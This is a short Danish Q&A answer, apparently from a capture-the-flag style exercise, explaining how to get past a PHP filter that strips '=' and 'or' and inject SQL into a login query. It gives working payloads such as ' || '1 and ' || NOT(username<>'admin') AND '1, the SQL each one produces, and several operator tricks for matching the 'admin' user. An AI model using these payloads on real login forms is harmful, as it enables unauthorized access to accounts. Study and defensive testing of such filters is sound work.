sql >> Database teknologi >  >> RDS >> Mysql

SQL-injektion med php-filtrering

Forudsat denne definition af lvl2_filter , som dybest set fjerner enhver forekomst af = og eller indtil den ikke længere findes, bør det stadig være muligt at bruge logisk ELLER-operation med || i stedet for ELLER og et simpelt udtryk, der vurderes til at være sandt som:

username: dummy
password: ' || '1

Dette ville resultere i:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

For at vælge en bestemt bruger kan man bruge reglerne for boolsk algebra , hvor x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Dette ville resultere i:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Her <> svarer til != men indeholder ikke en = .

Der er også andre operationer, som man kunne bruge for at sikre brugernavn er lig med admin :

  • brugernavn MELLEM 'admin' OG 'admin'
  • brugernavn LIKE 'admin'
  • brugernavn IN ('admin')
  • IF(STRCMP(brugernavn,'admin'), 0, 1)
  • CASE STRCMP(brugernavn,'admin') WHEN 0 THEN 1 ELSE 0 END
  • ...



  1. Hvordan låser jeg læse/skrive til MySQL-tabeller, så jeg kan vælge og derefter indsætte uden at andre programmer læser/skriver til databasen?

  2. MySQL vælger max record i gruppe efter

  3. Samling i SQL Server

  4. PHP MYSQL Blog Archive Menu efter år og måned